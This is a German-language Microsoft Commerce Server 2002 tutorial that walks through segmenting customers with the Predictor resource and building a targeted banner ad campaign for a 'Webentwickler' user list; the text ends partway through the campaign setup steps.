  • Definieren Sie, welche Informationen, z. B. virtuelle Kataloge, bestimmten Benutzern angezeigt werden.
  • Analysieren Sie Profilinformationen, um zu ermitteln, wer die Site besucht.
  • Erstellen Sie Zielausdrücke, um Inhalte auf Benutzer auszurichten.
  • Erstellen Sie gezielte Werbe-, Preisnachlass- und Direktsendungskampagnen für ausgewählte Benutzergruppen.
Geschäftsanalysesystem
  • Importieren Sie große Datenmengen zur Siteverwendung von verschiedenen Datenquellen in das Commerce Server Data Warehouse, und verwalten Sie diese Daten.
  • Analysieren Sie die Effektivität der Site, indem Sie Commerce Server-Berichte ausführen oder eigene, benutzerdefinierte Berichte erstellen.
  • Identifizieren Sie bestimmte Benutzergruppen durch Ausführen eines Berichts und anschließendes Exportieren der Ergebnisse in eine Liste. Verwenden Sie diese Liste in einer Direktsendungskampagne oder um Eigenschaften von Benutzern zu aktualisieren. Dadurch können Sie Waren oder Inhalte zielgruppengerecht anbieten.
  • Untersuchen Sie die gesammelten Daten auf versteckte Trends und neue Kundensegmente, und zeigen Sie die Eigenschaften der Segmente an.
  • Bieten Sie intelligente Cross-Selling-Funktionen an, und geben Sie den Benutzern dynamische Produktempfehlungen, während sie sich in Ihrer Site bewegen.
Zielgruppenadressierungssystem
  • Personalisieren Sie die Einkaufserfahrung mit gezieltem Merchandising.
  • Richten Sie optimal zugeschnittene Inhalte an einen bestimmten Benutzer in einem bestimmten Kontext.
  • Erstellen, analysieren und verwalten Sie personalisierte, gezielte Preisnachlässe sowie Direktmarketing- und Werbekampagnen.
  • Statten Sie Ihre Website mit Vorhersagefunktionen aus.
  • Weisen Sie den Benutzern eines bestimmten Profils Anzeigen und Preisnachlässe zu . Sie können z. B. mit Anzeigen gezielt Benutzerinnen ansprechen, die Ihre Site dreimal pro Woche besuchen und drei oder mehr Produkte gekauft haben.
  • Erstellen und planen Sie Kampagnen für Kunden, die in derselben Branche miteinander konkurrieren. Die konkurrierenden Anzeigen werden nie auf derselben Seite angezeigt.
  • Gestalten Sie Preise für Werbekunden basierend auf der gewünschten Anzahl der Werbeanfragen oder Klicks, die ihre Anzeigen erhalten sollen.
  • Bestimmen Sie die Anzeigenpreise je nachdem, auf welcher Seite ein Kunde eine Anzeige schalten möchte.

Wenn Sie Benutzer, die sich durch ähnliche Muster auszeichnen, mithilfe der Segmentierungsfunktion der Vorhersageressource zu Gruppen zusammenfassen, können Sie Marketingkampagnen wirksamer auf Benutzer mit einer höheren Kaufbereitschaft konzentrieren.

Szenario:

Sie möchten als Softwareanbieter den Verkauf Ihrer Produkte steigern. Statt jeden Besucher Ihrer Website undifferenziert mit Werbeangeboten zu bombardieren, möchten Sie in einer intelligenten Anzeigenkampagne gezielt nur die Benutzer ansprechen, die Ihre Produkte mit höherer Wahrscheinlichkeit kaufen werden. So möchten Sie beispielsweise eine Anzeige über Commerce Server 2002 für die Kunden platzieren, die zuvor bereits Webentwicklungssoftware gekauft haben und daher wahrscheinlich beruflich mit Webentwicklung zu tun haben.

In diesem Lernprogramm werden Sie folgende Schritte ausführen:

  1. Importieren von Webprotokolldaten in Ihr Data Warehouse.
  2. Erstellen eines Segmentmodells.
  3. Analysieren von Segmenten mithilfe von Business Desk.
  4. Identifizieren einer Gruppe von Webentwicklern in Ihrer Website.
  5. Exportieren der als Webentwickler identifizierten Gruppe in den Listen-Manager.
  6. Erstellen einer benutzerdefinierten Profileigenschaft, die dann allen als Webentwickler identifizierten Benutzern zugeordnet wird.
  7. Erstellen eines Kampagnenausdrucks für Webentwickler.
  8. Erstellen einer Zielgruppe, damit nur Webentwickler von den entsprechenden Anzeigen angesprochen werden.
  9. Erstellen einer Anzeigenkampagne für Commerce Server 2002.
  10. Anmelden als Mitglied der Benutzerliste für Webentwickler, um die Funktionsfähigkeit der Anzeigenkampagne zu überprüfen.

Dieses Lernprogramm enthält folgende Kurse:

  • Kurs 1: Vorbereiten des Lernprogramms
  • Kurs 2: Importieren von Daten in das Data Warehouse
  • Kurs 3: Erstellen eines Segmentmodells
  • Kurs 4: Analysieren des Segmentmodells
  • Kurs 5: Verknüpfen einer benutzerdefinierten Profileigenschaft mit der Benutzerliste
  • Kurs 6: Erstellen eines Kampagnenausdrucks
  • Kurs 7: Erstellen einer Anzeigenkampagne
  • Kurs 8: Überprüfen Ihrer Anzeigenkampagne


Kurs 1: Vorbereiten des Lernprogramms

In diesem Lernprogramm werden die Beispieldaten des Lernprogramms für die Vorhersageressource genutzt. Sofern Sie dies noch nicht getan haben, müssen Sie die folgenden vorbereitenden Schritte ausführen, bevor Sie mit dem Lernprogramm arbeiten können:

  • Schritt 1: Bearbeiten der Datei "Populate.sql"
  • Schritt 2: Entpacken der Demoversion der Vorhersagesite
  • Schritt 3: Installieren der Demoversion der Business Desk-Anwendung


Schritt 1: Bearbeiten der Datei "Populate.sql"

  1. Wechseln Sie in Windows-Explorer zu <Laufwerk>:\Programme\Microsoft Commerce Server 2002\Predictor Tutorial\, und öffnen Sie die Datei Populate.sql in Editor.
  2. Wenn Sie Commerce Server 2002 auf einem anderen Laufwerk als C:\ installiert haben, müssen Sie in der Datei populate.sql alle fünf Instanzen von C: im Pfad C:\\Program Files\Microsoft Commerce Server 2002\Predictor Tutorial\ in den richtigen Laufwerksbuchstaben ändern und Program Files durch Programme ersetzen, sodass der Pfad wie folgt lautet: <Laufwerksbuchstabe>:\\Programme\Microsoft Commerce Server 2002\Predictor Tutorial\.
  3. Speichern Sie die Datei, und schließen Sie Editor.


Schritt 2: Entpacken der Demoversion der Vorhersagesite

  1. Wechseln Sie in Windows-Explorer zu <Laufwerk>:\Programme\Microsoft Commerce Server 2002\Predictor Tutorial\, und doppelklicken Sie auf die Datei PredictorDemoSite.pup, um sie zu öffnen.
  2. Wählen Sie im Dialogfeld Entpacken die Option Schnelles Entpacken aus, und klicken Sie anschließend auf Weiter.
  3. Führen Sie im Dialogfeld Schnelles Entpacken die folgenden Schritte aus:
    Funktion | Aktion
    Sitename | Vergewissern Sie sich, dass der Sitename PredictorDemo lautet. Lassen Sie den Sitenamen unverändert.
    IIS-Website | Wählen Sie den Namen der Website für Internetinformationsdienste 5.0 aus, in der die Anwendung installiert wird.
    SQL Server-Computer | Geben Sie hier den Namen des SQL Servers ein, auf dem die Sitedatenbank erstellt werden soll.
    Integrierte Sicherheit von Windows verwenden | Diese Option darf beim Einrichten der PredictorDemo-Site nicht verwendet werden.
    Spezifischen Benutzernamen und spezifisches Kennwort verwenden | Wählen Sie diese Option, wenn Sie für Verbindungen mit der Datenbank die SQL Server-Authentifizierung verwenden möchten.
    SQL Server-Anmeldename Geben Sie zur Anmeldung bei SQL Server den Namen eines Benutzers ein, der Zugriffsrechte auf dem SQL Server-Computer hat, auf dem die Sitedatenbanken erstellt werden sollen.

    Hinweis

    • Verwenden Sie aus Sicherheitsgründen nicht die Systemadministratoranmeldung für den Zugriff auf die Verwaltungsdatenbank. Um die Anmeldeinformationen für die Verwaltungsdatenbank nach deren Erstellung zu ändern, verwenden Sie SQL Server Enterprise Manager.
    SQL Server-Anmeldekennwort | Geben Sie das SQL Server-Kennwort für die Datenbanken ein.
  4. Klicken Sie auf Weiter, und bestätigen Sie die daraufhin angezeigte Commerce Site Packager-Meldung mit OK.
  5. Im Dialogfeld Data Warehouse können Sie folgende Schritte ausführen:
    Funktion | Aktion
    Name | Übernehmen Sie den Standardnamen.
    Server | Geben Sie den Namen des SQL-Analysis-Servers ein, den das Data Warehouse verwenden soll.
    Datenbank | Geben Sie den Namen der Analysis Services-Datenbank (OLAP) an.
  6. Klicken Sie auf OK.
  7. Übernehmen Sie im Dialogfeld Profilsystem die standardmäßigen XML-Dateien, und klicken Sie danach auf Weiter.
  8. Klicken Sie im Feld Datenauffüllungsskripts des Dialogfelds Profilsystem auf Durchsuchen.
  9. Wechseln Sie im Dialogfeld Öffnen zu <Laufwerk>:\Programme\Microsoft Commerce Server 2002\Predictor Tutorial\, wählen Sie aus der Liste die Datei Populate.sql aus, und klicken Sie auf Öffnen.
  10. Klicken Sie auf OK.
  11. Sehen Sie sich im Dialogfeld Das Entpacken ist abgeschlossen die Liste der erstellten SQL-Datenbanken und der IIS-Anwendungen an. Klicken Sie auf Protokolldatei anzeigen, um die Liste der Ereignisse in der Site Packager-Protokolldatei zu überprüfen.

    Hinweis

    • Wenn beim Konfigurieren Fehler auftreten, sollten Sie in der Protokolldatei überprüfen, wodurch diese Fehler verursacht werden.
  12. Klicken Sie auf Fertig stellen, um Site Packager zu schließen.


Schritt 3: Installieren der Demoversion der BusinessDesk-Anwendung

Feedback zu dieser Seite senden Commerce Server 2002

Schritt 3: Installieren der Demoversion der Business Desk-Anwendung

  1. Klicken Sie auf Start, zeigen Sie auf Programme, und klicken Sie dann auf Internet Explorer.
  2. Geben Sie im Feld Adresse den URL für die Business Desk-Installation ein (z. B. http://<Computername>/PredictorDemoBizdesk). Drücken Sie dann die Eingabetaste.
  3. Übernehmen Sie im Dialogfeld Nach Ordner suchen den Standardordner oder wählen Sie einen anderen Ordner aus, in dem die Datei der HTML-Anwendung (HTA) gespeichert werden soll. Klicken Sie anschließend auf OK.

    Das Setup-Programm für Business Desk Client wird gestartet. Wenn die Steuerelemente für Microsoft ActiveX noch nicht gedownloadet wurden, werden im oberen Bereich des Fensters Business Desk Client-Setup Tipps zur Problembehandlung angezeigt. Die Microsoft ActiveX-Steuerelemente sind zum Installieren von Business Desk Client erforderlich.

    Im unteren Bereich des Bildschirms werden Häkchen angezeigt, sobald die einzelnen Aufgaben abgeschlossen sind. Nach Durchführung aller vier Tasks ist die Business Desk-Installation abgeschlossen. Eine Verknüpfung zu Business Desk wird im Bereich Status des Bildschirms angezeigt.

    Hinweis

    • Wenn Sie die ActiveX-Steuerelemente nicht downloaden können, folgen Sie den Anweisungen im Bildschirm Business Desk Client-Setup.
  4. Schließen Sie Internet Explorer, nachdem die Business Desk-Installation abgeschlossen ist.

Das Business Desk-Symbol erscheint als Verknüpfung sowohl auf Ihrem Desktop als auch im Menü Start.


Kurs 2: Importieren von Daten in das Data Warehouse

Die Beispieldaten des Lernprogramms für die Vorhersageressource enthalten neben Webprotokollen auch Transaktions- und demographische Daten, die zum Erstellen von Analysemodellen genutzt werden können.

So importieren Sie die Beispieldaten in das Data Warehouse

  1. Klicken Sie auf Start, zeigen Sie auf Programme, dann auf Microsoft SQL Server, und klicken Sie auf Enterprise Manager.
  2. Erweitern Sie in SQL Server Enterprise Manager erst Microsoft SQL Servers, dann die SQL Server-Gruppe sowie den Namen des Datenbankservers, klicken Sie dann mit der rechten Maustaste auf Data Transformation Services und anschließend mit der linken Maustaste auf Paket öffnen.
  3. Wechseln Sie im Dialogfeld Datei auswählen zu <Laufwerk>:\Programme\Microsoft Commerce Server 2002\Predictor Tutorial\, wählen Sie die Datei ImportData.dts aus, und klicken Sie auf Öffnen.
  4. Wählen Sie im Dialogfeld Paket auswählen aus der Liste PredictorDemo Import Data aus, und klicken Sie dann auf OK.
  5. Klicken Sie im SQL Server Enterprise Manager mit der rechten Maustaste auf Microsoft OLE DB Provider for SQL Server, und klicken Sie dann auf Eigenschaften.
  6. Überprüfen Sie im Dialogfeld Verbindungseigenschaften die Authentifizierungsinformationen für Microsoft SQL Server, und klicken Sie dann auf OK.
  7. Klicken Sie mit der rechten Maustaste auf den Task Transaction Data Import, und klicken Sie dann auf Eigenschaften.
  8. Überprüfen Sie im Dialogfeld Transaktionsimporteigenschaften, ob unter Vorgangsebene die Option Siteebene und unter Sitename die Option PredictorDemo ausgewählt ist, und klicken Sie abschließend auf OK.
  9. Wiederholen Sie für die Tasks Profile Data Import, Campaign Data Import und Product Catalog Import die Schritte 7 und 8.
  10. Klicken Sie auf der Symbolleiste von SQL Server Enterprise Manager auf Ausführen.
  11. Klicken Sie im Dialogfeld Paketausführungsergebnisse auf OK.
  12. Klicken Sie im Dialogfeld Führt DTS-Paket aus: PredictorDemo Import Data auf Fertig, wenn alle Tasks vollständig ausgeführt wurden.

    Hinweis

    • Wenn beim Konfigurieren Fehler auftreten, sollten Sie in der Protokolldatei überprüfen, wodurch diese Fehler verursacht wurden.
  13. Beenden Sie SQL Server Enterprise Manager.


Kurs 3: Erstellen eines Segmentmodells

Mithilfe des Segment-Viewer-Moduls wird eine Analyse der Segmentierung (oder Gruppierung) vorgenommen. In der Segmentierungsanalyse werden die Benutzer nach ihrem Verhalten in der Site und ihren Eigenschaften wie Alter und Geschlecht in Segmente eingeteilt.

Das Ergebnis des Segmentierungsprozesses ist ein Segmentmodell. Das Segmentmodell beschreibt die gemeinsamen Merkmale von Benutzern, die zu einem Segment oder einer Segmentgruppe gehören. Segmente und Segmentgruppen werden in Commerce Server-Manager durch Daten aus dem Data Warehouse erstellt.

Das Segment-Viewer-Modul wird dazu verwendet, ein einzelnes Segment zu untersuchen oder ein Segment mit einem anderen zu vergleichen. Mit ihm kann auch ein Zusammenfassungsbericht über alle Segmente erstellt und ein Segment in eine Liste exportiert werden.

So erstellen Sie ein Segmentmodell

  1. Klicken Sie auf Start, zeigen Sie auf Programme, zeigen Sie auf Microsoft Commerce Server 2002, und klicken Sie anschließend auf Commerce Server-Manager.
  2. Erweitern Sie im Commerce Server-Manager nacheinander Commerce Server-Manager, Globale Ressourcen, Predictor on Servername und Vorhersagedienst, und wählen Sie dann Modellkonfigurationen aus.
  3. Klicken Sie im Inhaltsbereich von Commerce Server-Manager mit der rechten Maustaste auf DemoTransactions, und wählen Sie dann die Option Erstellen.
  4. Nehmen Sie im Dialogfeld Modellerstellungseigenschaften die folgenden Einstellungen vor:
    Funktion | Aktion
    Name | Geben Sie Softwaresegmente ein.
    Modelltyp | Wählen Sie als Analysemodelltyp Segment aus.
  5. Klicken Sie auf Weiter.
  6. Geben Sie im Feld Gemessene Genauigkeit des Stichprobenanteils des Dialogfelds Modellerstellungseigenschaften den Wert 0,1 ein, und klicken Sie dann auf Fertig stellen.

    Hinweise

    • Die gemessene Genauigkeit des Stichprobenanteils steht für den Anteil an Eigenschaften, die als Eingabe für die Vorhersagen verwendet werden sollen. Wenn Sie beispielsweise einen Eingabeattributanteil von 0,05 angeben, werden die aussagekräftigsten 5 % der Eingabeattribute ausgewählt. Der Standardwert liegt bei 1,0. Dabei werden alle Attribute als Eingabe für die Vorhersage berücksichtigt. Wenn sehr viele Attribute vorliegen, wie beispielsweise bei Produktempfehlungen für einen Katalog mit über 1.000 Produkten, empfiehlt es sich, einen Wert unter 1,0 festzulegen.


Kurs 4: Analysieren des Segmentmodells

Beim Analysieren von Segmenten verwenden Sie zwei Elemente: Segmente und Segmentgruppen.

  • Segmente sind Gruppierungen von Benutzern, die in Ihrer Website ein ähnliches Verhalten aufzeigen oder ähnliche Eigenschaften (z. B. Alter und Geschlecht) haben. Ein Segment besteht aus einer Zusammenfassung der Datenbankdatensätze, die zu einer Gruppe von Benutzern mit ähnlichen Profileigenschaften gehören. Diese Zusammenfassung wird aus Eigenschaften im Data Warehouse abgeleitet, mit denen die Datenbanksätze gruppiert werden.
  • Segmentgruppen sind Sammlungen ähnlicher Segmente oder anderer Segmentgruppen.

Die Segmentgruppen bilden eine Hierarchie, in der Trends analysiert und Beziehungen zwischen den Daten auf verschiedenen Ebenen der Segmenthierarchie offen gelegt werden können. Durch die Gruppierung von Benutzern aufgrund von Ähnlichkeiten lassen sich neue Beziehungen erkennen. Diese neu erkannten Beziehungen können die Basis für Zielgruppenadressierungs- und Personalisierungsregeln werden.

So analysieren Sie das Segmentmodell

  1. Starten Sie Business Desk-PredictorDemo.
  2. Klicken Sie im Menü Analyse auf Segment-Viewer.
  3. Wählen Sie im Fenster Segment-Viewer die Option Softwaresegmente aus, und klicken Sie dann auf Öffnen.
  4. Im Fenster Segment-Viewer: Softwaresegmente werden folgende Elemente angezeigt:

    • Die Segmenthierarchie im Navigationsfeld stellt den gesamten Bestand dar. (100 Prozent). Die Segmenthierarchie besteht aus Segmenten und Segmentgruppen. Bei einem Segment handelt es sich um eine Zusammenstellung von Benutzern mit ähnlichen Eigenschaftswerten, z. B. Benutzer, die ähnliche Einkäufe getätigt haben. Eine Segmentgruppe ist ein Satz vergleichbarer Segmente.
    • Im Feld Zusammenfassung von Auffüllung wird eine Liste der wahrscheinlichsten Eigenschaften und der entsprechenden Werte des gesamten Bestands angezeigt. Je länger der rote Balken dargestellt wird, desto höher ist die Wahrscheinlichkeit des Eigenschaft/Wert-Paares im Bestand.
  5. Erweitern Sie unter Segmenthierarchie nacheinander Auffüllung (100 %) sowie alle Segmente und Segmentgruppen, und beachten Sie Folgendes:

    • Die Zusammenfassung von Segment 5 zeigt die wahrscheinlichsten Eigenschaft/Wert-Paare an, die Benutzern in diesem Segment zugeordnet sind. In diesem Beispiel wird durch Money 2000 Business & Personal.QTY mit dem Wert 3 verdeutlicht, dass die meisten Benutzer in diesem Segment 3 Kopien von Microsoft Money 2000 Business and Personal gekauft haben.
    • Sie können Segmente miteinander vergleichen: Für das Dropdownfeld Vergleich von Segment 5 mit ist standardmäßig Auffüllung ausgewählt. Sie können aber ein beliebiges anderes Segment oder eine andere Segmentgruppe für einen Vergleich zwischen dem ausgewählten Segment und den übrigen Segmenten des Segmentmodells auswählen.
    • Gelbe Balken kennzeichnen die Eigenschaft/Wert-Paare, die die Zugehörigkeit eines Benutzers in Cluster 5 wahrscheinlich machen. In diesem Beispiel wird durch Baseball 2000.QTY mit dem Wert 1 angegeben, dass ein Benutzer, der eine Kopie von Microsoft Baseball 2000 erworben hat, Mitglied von Segment 5 wird.
    • Blaue Balken kennzeichnen die Eigenschaft/Wert-Paare, die die Zugehörigkeit des Benutzers zu Segment 5 weniger wahrscheinlich machen. In diesem Beispiel wird durch Windows 98 Second Edition.QTY mit dem Wert 2 angegeben, dass ein Benutzer, der zwei Kopien von Microsoft Windows 98 Second Edition erworben hat, wahrscheinlich nicht zu Segment 5 gehört.
    • Wenn ein Benutzer Baseball 2000 und Microsoft NBA Inside Drive 2000 kauft, wird er im Segment 5 erfasst. Die Benutzer in Cluster 5 sind damit im Vergleich zu den anderen Segmenten des Gesamtbestands häufiger Käufer von Sportcomputerspielen.
    • Sie können Segmenten jederzeit einen aussagekräftigeren Namen zuweisen, um die Suche nach ihnen zu erleichtern.
  6. Wählen Sie Segment 5 unter Segmenthierarchie aus, und klicken Sie dann auf Umbenennen.
  7. Geben Sie im Feld Umbenennen in des Dialogfelds Segment umbenennen die Bezeichnung Freunde von Sportspielen ein, und klicken Sie dann auf OK.
  8. Wählen Sie Segment 7 unter Segmenthierarchie aus, und beachten Sie Folgendes:
    • Benutzer in Cluster 7 erwerben Site Server 3.0 Commerce Edition und SQL Server 7.0. Das deutet darauf hin, dass die Benutzer in Cluster 7 Webentwickler sind.
  9. Wählen Sie Segment 7 unter Segmenthierarchie aus, und klicken Sie dann auf Umbenennen.
  10. Geben Sie im Feld Umbenennen in des Dialogfelds Segment umbenennen die Bezeichnung Webentwickler ein, und klicken Sie dann auf OK.
  11. Wählen Sie unter Segmenthierarchie die Segmentgruppe 14 aus, und beachten Sie Folgendes:
    • Der Abschnitt für den Segmentvergleich bietet eine Zusammenfassung und weitere Vergleichsdaten für Segmente und Segmentgruppen.
    • Sie müssen alle Segmente und Segmentgruppen eines Modells anzeigen, um einen umfassenden Überblick über das Segmentmodell zu erhalten.
  12. Analysieren Sie alle Segmente der Segmentgruppe 14, um die dargestellten privaten Benutzer zu erkennen.
  13. Benennen Sie Segmentgruppe 14 in Privatbenutzer um.
  14. Wählen Sie unter Segmenthierarchie die Segmentgruppe 12 und anschließend die Segmentgruppe aus, die die Benutzergruppe der kleinen und mittelständischen Unternehmen darstellt.
  15. Benennen Sie Segmentgruppe 12 in Kleine und mittelständische Unternehmen um.
  16. Wählen Sie unter Segmenthierarchie das Segment 3 aus, in dem die Gruppe der Entwickler dargestellt wird.
  17. Benennen Sie Segment 3 in Entwickler um.

  18. Klicken Sie im Fenster Segment-Viewer: Softwaresegmente auf der Symbolleiste auf Bericht, um den Zusammenfassungsbericht des gesamten Segmentmodells anzuzeigen.
    • Sie können diesen Bericht in einer Datei speichern, indem Sie die Webseite mit der Modellzusammenfassung aus dem Internetbrowser speichern.
    • Sie können auch Benutzerlisten exportieren. Benutzerlisten werden in Commerce Server 2002 verwendet, um mit einer Direktsendungskampagne potenzielle Käufer eines bestimmten Produkts gezielt anzusprechen.
  19. Wählen Sie unter Segmenthierarchie die Gruppe Webentwickler aus, und klicken Sie auf der Symbolleiste auf Exportieren.
  20. Führen Sie im Dialogfeld Segment in Liste exportieren folgende Schritte aus:
    Funktion | Aktion
    Listennamen eingeben | Geben Sie den Namen Webentwickler ein.
    Minimale Wahrscheinlichkeit Stellen Sie sicher, dass der Wert 0,50 eingestellt ist.

    In Commerce Server 2002 ist jeder Benutzer zu einem gewissen Grad Mitglied in jedem Segment. Die Grenzen zwischen den Segmenten sind oft nicht klar definiert. So kann ein Benutzer beispielsweise zu 80 % einer bestimmten Gruppe und anteilig auch allen anderen Gruppen angehören. Je höher der anteilige, dem Benutzer zugeordnete Wert ist, desto näher liegen die Eigenschaftswerte des Benutzers an den Eigenschaftswerten des Durchschnittsbenutzers im Segment. Der anteilige Wert eines Benutzers ist die Wahrscheinlichkeit der Zugehörigkeit zu einem bestimmten Segment.

    Die Minimale Wahrscheinlichkeit legt einen Grenzwert für die Zugehörigkeit eines Benutzers zur Exportliste fest. Wenn die Wahrscheinlichkeit der Zugehörigkeit eines Benutzers den festgelegten Grenzwert überschreitet, wird der Benutzer nicht in die Exportliste aufgenommen.

    Wenn für Minimale Wahrscheinlichkeit ein hoher Wert (nahe 1) festgelegt wird, dann werden nur geringe Benutzerzahlen in die Benutzerliste aufgenommen. Bei niedrigen Werten (nahe 0) werden jedoch viele Benutzer in die Exportliste aufgenommen.
  21. Klicken Sie auf OK.


Kurs 5: Verknüpfen einer benutzerdefinierten Profileigenschaft mit der Benutzerliste

Um mit einer Anzeigenkampagne alle Benutzer der Webentwicklerliste anzusprechen, müssen Sie dem Benutzerobjekt eine benutzerdefinierte Profileigenschaft hinzufügen und diese anschließend mit der Benutzerliste verknüpfen.

Dieser Abschnitt beinhaltet folgende Themen:

  • Schritt 1: Hinzufügen einer benutzerdefinierten Profileigenschaft
  • Schritt 2: Verknüpfen der benutzerdefinierten Eigenschaft mit der Benutzerliste


Schritt 1: Hinzufügen einer benutzerdefinierten Profileigenschaft

  1. Klicken Sie im Menü Profile auf die Option Profildefinitions-Designer.
  2. Wählen Sie im Bildschirm Profile die Option User Object aus, und klicken Sie anschließend auf der Symbolleiste auf Öffnen.
  3. Klicken Sie im Bildschirm Profil: User Object in der Liste Eigenschaften auf General Information. Klicken Sie anschließend auf Hinzufügen.
  4. Wählen Sie im Dialogfeld Hinzufügen die Option Neue Eigenschaft hinzufügen aus, und klicken Sie anschließend auf OK.
  5. Führen Sie im Bereich Attribute folgende Schritte aus:
    Funktion | Aktion
    Name | Geben Sie Listenname ein.
    Angezeigter Name | Geben Sie Listenname ein.
    Beschreibung | Geben Sie Listenname des Benutzers ein.
    Typ | Wählen Sie in der Dropdownliste Zeichenfolge den gewünschten Eigenschaftstyp aus.
  6. Führen Sie im Bereich Erweiterte Attribute folgende Schritte aus:
    Funktion | Aktion
    Aktiv | Definieren Sie die neue Eigenschaft als Aktiv, indem Sie das Kontrollkästchen Ja aktivieren.
    Daten zuordnen Klicken Sie auf die Auslassungsschaltfläche […], um das Dialogfeld Datenquellenauswahl zu öffnen.

    Wählen Sie im Dialogfeld Datenquellenauswahl unter User Object das Datenelement Custom Property 1 (STRING) für die Eigenschaft aus, und klicken Sie auf OK.

    Schlüsseltyp | Lassen Sie dieses Feld leer.
    Erforderlich | Deaktivieren Sie diese Option.
    Exportiert | Deaktivieren Sie diese Option.
    Cacheload verzögern | Deaktivieren Sie diese Option.
    Mehrwertig | Deaktivieren Sie diese Option.
    Suche aktivieren | Deaktivieren Sie diese Option.
  7. Wenn die neue Eigenschaft übernommen und in der Liste Eigenschaften angezeigt werden soll, klicken Sie auf Übernehmen.
  8. Klicken Sie zum Speichern der Eigenschaft auf der Symbolleiste auf Speichern, um das Profil zu speichern.

Die Profildefinition wird mit der neuen Eigenschaft gespeichert. Nachdem Sie eine Eigenschaft zu einer Profildefinition hinzugefügt haben, müssen Sie die Änderungen in Ihrer Website veröffentlichen.


Schritt 2: Verknüpfen der benutzerdefinierten Eigenschaft mit der Benutzerliste

  1. Klicken Sie im Menü Profile auf Benutzer.
  2. Wenn der Bereich Suchen nicht geöffnet ist, klicken Sie auf der Symbolleiste auf Suchen.
  3. Wählen Sie im Feld Suchen nach in der Dropdownliste den Eintrag Benutzerlisten aus.
  4. Wählen Sie im Bereich Listenname den Eintrag Webentwickler aus, und klicken Sie dann auf Suchen.
  5. Klicken Sie auf Alles markieren, um alle Benutzer auszuwählen, und klicken Sie dann auf der Symbolleiste auf Öffnen.
  6. Klicken Sie im Bildschirm Alle ausgewählten Profile aktualisieren auf Neu.
  7. Wählen Sie im Ausdrucks-Generator aus dem Dropdownfeld den Eintrag User Object, klicken Sie auf General Information, und wählen Sie dann die Option Listenname [ProfileService_SQLSource].
  8. Wählen Sie im zweiten Dropdownfeld den Eintrag ist gleich.
  9. Geben Sie im dritten Feld Webentwickler ein, und klicken Sie auf Anwenden und anschließend auf der Symbolleiste auf Speichern und zurück.
  10. Klicken Sie im Menü Profile auf Profile veröffentlichen.
  11. Wählen Sie im Bildschirm Profile veröffentlichen die Site aus, in der Sie die Änderungen der Profildefinition veröffentlichen möchten. Klicken Sie anschließend auf der Symbolleiste auf Veröffentlichen.


Kurs 6: Erstellen eines Kampagnenausdrucks

Mithilfe von Kampagnenausdrücken definieren Sie die Produkte bzw. Produktkategorien, auf die Sie einen Preisnachlass anwenden möchten, und legen ferner die Zielgruppen für Anzeigen und Preisnachlässe fest. In diesem Szenario erstellen Sie einen Ausdruck, mit dem Anzeigen gezielt an Benutzer gerichtet werden können, die einer bestimmten Gruppe angehören. Anschließend wird eine Zielgruppe für Webentwickler erstellt.

Dieser Abschnitt beinhaltet folgende Themen:

  • Schritt 1: Erstellen eines Zielausdrucks für Webentwickler
  • Schritt 2: Erstellen einer Zielgruppe für Webentwickler


Schritt 1: Erstellen eines Zielausdrucks für Webentwickler

  1. Klicken Sie im Menü Kampagnen auf Kampagnenausdrücke.
  2. Klicken Sie im Bildschirm Kampagnenausdrücke: Zielausdrücke auf der Symbolleiste auf Neu.
  3. Führen Sie im Dialogfeld Zielausdruck folgende Schritte aus:
    Funktion | Aktion
    Name | Geben Sie Webentwickler ein.
    Beschreibung | Geben Sie Webentwickler ein, und klicken Sie auf Neu.
    Ziel basiert auf den folgenden Bedingungen
    • Erstes Feld. Wählen Sie in der Dropdownliste den Eintrag User Object aus, und klicken Sie anschließend unter General Information auf Listenname.
    • Zweites Feld. Wählen Sie in der Dropdownliste als Operator den Ausdruck ist gleich aus.
    • Drittes Feld. Geben Sie Webentwickler ein.
  4. Klicken Sie auf Anwenden.
  5. Der neue Zielausdruck wird dem Feld Ziel basiert auf den folgenden Bedingungen hinzugefügt.
  6. Klicken Sie auf Speichern, um den Zielausdruck zu speichern und zum Bildschirm Kampagnenausdrücke: Zielausdrücke zurückzukehren.


Schritt 2: Erstellen einer Zielgruppe für Webentwickler

  1. Klicken Sie im Menü Kampagnen auf Zielgruppen.
  2. Klicken Sie im Bildschirm Zielgruppen auf der Symbolleiste auf Neu.
  3. Führen Sie im Bildschirm Zielgruppe: Neu folgende Schritte aus:
    Funktion | Aktion
    Zielgruppenname | Geben Sie Webentwickler ein. Klicken Sie auf Neu.
    Ausdruck | Wählen Sie in der Dropdownliste die Option Webentwickler aus.
    Aktion | Wählen Sie in der Dropdownliste für die neue Zielgruppe die Aktion Erforderlich aus.
  4. Klicken Sie auf Annehmen und dann auf der Symbolleiste auf Speichern und zurück, um die Zielgruppe zu speichern und zum Bildschirm Zielgruppe zurückzukehren.


Kurs 7: Erstellen einer Anzeigenkampagne

Das Modul "Kampagnen-Manager" ermöglicht das Erstellen von Anzeigen für eine bestimmte Kampagne. Für den Typ der Anzeige können Sie in Abhängigkeit vom Zeitplan für den Bereitstellungsbedarf entweder eine bezahlte Anzeige oder Eigenwerbung auswählen. Darüber hinaus kann festgelegt werden, wie oft Benutzern innerhalb einer Sitzung ein bestimmter Inhalt angezeigt werden kann. Um zu verhindern, dass zwei Anzeigen konkurrierender Unternehmen einer Branche auf derselben Seite angezeigt werden, kann der Anzeige ein Branchencode zugeordnet werden.

In diesem Szenario erstellen Sie eine neue Anzeigenkampagne für Webentwickler und nutzen dabei den in Modul 6 erstellten Kampagnenausdruck.

So erstellen Sie eine neue Anzeigenkampagne

  1. Klicken Sie im Menü Kampagnen auf Kampagnen-Manager.
  2. Erweitern Sie im Bildschirm Kampagnen-Manager das Element Microsoft Advertising, wählen Sie Advertising Demo Ads aus, und klicken Sie auf der Symbolleiste auf Neu. Wählen Sie dann in der Dropdownliste den Eintrag Neue Anzeige aus, um eine neue Anzeige zu erstellen.
  3. Führen Sie im Bildschirm Kampagnen-Manager – <Kunde> – <Kampagne> – Neu (Anzeige) im Bereich Anzeigeneigenschaften folgende Schritte aus:
    Funktion | Aktion
    Anzeigenname | Geben Sie WebentwAnz ein.
    Status | Wählen Sie Aktiv aus.
    Typ | Wählen Sie in der Dropdownliste die Option Eigenwerbung aus.
  4. Wählen Sie unter Anzeigenziel im Feld Zielgruppen den Eintrag Webentwickler aus, und klicken Sie auf >.
  5. Führen Sie im Bereich Anzeigendarstellung folgende Schritte aus:
    Funktion | Aktion
    Größe | Wählen Sie in der Dropdownliste die Option Full Banner (468 x 60) aus.
    Typ | Wählen Sie im Dropdownfeld die Option Image aus.
